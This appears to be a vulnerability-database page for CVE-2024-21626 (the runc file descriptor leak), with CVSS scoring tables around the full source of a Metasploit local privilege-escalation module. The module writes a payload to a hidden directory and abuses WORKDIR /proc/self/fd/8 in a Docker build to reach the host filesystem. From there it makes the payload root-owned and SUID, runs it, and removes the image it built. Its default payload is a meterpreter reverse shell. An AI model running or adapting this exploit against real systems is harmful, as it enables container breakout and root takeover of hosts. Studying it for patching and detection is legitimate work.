Lucene search

K
packetstormH00die, Rory McNamara, metasploit.comPACKETSTORM:176993
HistoryFeb 05, 2024 - 12:00 a.m.

runc 1.1.11 File Descriptor Leak Privilege Escalation

2024-02-0500:00:00
h00die, Rory McNamara, metasploit.com
packetstormsecurity.com
49
metasploit
linux
ubuntu
docker
runc
file descriptor
privilege escalation
arbitrary file write
vulnerability
root permissions
security advisory
cve-2024-21626
snyk
opencontainers

8.6 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

7.4 High

AI Score

Confidence

Low

4.4 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:M/Au:N/C:P/I:P/A:P

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation',  
'Description' => %q{  
All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,  
and Kubernetes are vulnerable to an arbitrary file write.  
Due to a file descriptor leak it is possible to mount the host file system  
with the permissions of runc (typically root).  
  
Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Rory McNamara' # Discovery  
],  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' => [[ 'Auto', {} ]],  
'Privileged' => true,  
'References' => [  
[ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'],  
[ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'],  
[ 'CVE', '2024-21626']  
],  
'DisclosureDate' => '2024-01-31',  
'DefaultTarget' => 0,  
'Notes' => {  
'AKA' => ['Leaky Vessels'],  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
},  
'DefaultOptions' => {  
'EXITFUNC' => 'thread',  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'MeterpreterTryToFork' => true  
}  
)  
)  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),  
OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]),  
OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 8 ]),  
]  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def check  
sys_info = get_sysinfo  
  
unless sys_info[:distro] == 'ubuntu'  
return CheckCode::Safe('Check method only available for Ubuntu systems')  
end  
  
return CheckCode::Safe('Check method only available for Ubuntu systems') if executable?('runc')  
  
# Check the app is installed and the version, debian based example  
package = cmd_exec('runc --version')  
package = package.split[2] # runc, version, <the actual version>  
  
if package&.include?('1.1.7-0ubuntu1~22.04.1') || # jammy 22.04 only has 2 releases, .1 (vuln) and .2  
package&.include?('1.0.0~rc10-0ubuntu1') || # focal only had 1 release prior to patch, 1.1.7-0ubuntu1~20.04.2 is patched  
package&.include?('1.1.7-0ubuntu2') # mantic only had 1 release prior to patch, 1.1.7-0ubuntu2.2 is patched  
return CheckCode::Appears("Vulnerable runc version #{package} detected")  
end  
  
unless package&.include?('+esm') # bionic patched with 1.1.4-0ubuntu1~18.04.2+esm1 so anything w/o +esm is vuln  
return CheckCode::Appears("Vulnerable runc version #{package} detected")  
end  
  
CheckCode::Safe("runc #{package} is not vulnerable")  
end  
  
def exploit  
# Check if we're already root  
if !datastore['ForceExploit'] && is_root?  
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'  
end  
  
# Make sure we can write our exploit and payload to the local system  
unless writable? base_dir  
fail_with Failure::BadConfig, "#{base_dir} is not writable"  
end  
  
# create directory to write all our files to  
dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"  
mkdir(dir)  
register_dirs_for_cleanup(dir)  
  
# Upload payload executable  
payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}"  
vprint_status("Uploading Payload to #{payload_path}")  
write_file(payload_path, generate_payload_exe)  
register_file_for_cleanup(payload_path)  
  
# write docker file  
vprint_status("Uploading Dockerfile to #{dir}/Dockerfile")  
dockerfile = %(FROM #{datastore['DOCKERIMAGE']}  
WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']}  
RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} )  
write_file("#{dir}/Dockerfile", dockerfile)  
register_file_for_cleanup("#{dir}/Dockerfile")  
  
print_status('Building from Dockerfile to set our payload permissions')  
output = cmd_exec "cd #{dir} && docker build ."  
output.each_line { |line| vprint_status line.chomp }  
  
# delete our docker image  
if output =~ /Successfully built ([a-z0-9]+)$/  
print_status("Removing created docker image #{Regexp.last_match(1)}")  
output = cmd_exec "docker image rm #{Regexp.last_match(1)}"  
output.each_line { |line| vprint_status line.chomp }  
end  
  
fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") if output.include? "mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory"  
fail_with(Failure::NoAccess, 'Payload SUID bit not set') unless get_suid_files(payload_path).include? payload_path  
  
print_status("Payload permissions set, executing payload (#{payload_path})...")  
cmd_exec "#{payload_path} &"  
end  
end  
`

8.6 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

7.4 High

AI Score

Confidence

Low

4.4 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:M/Au:N/C:P/I:P/A:P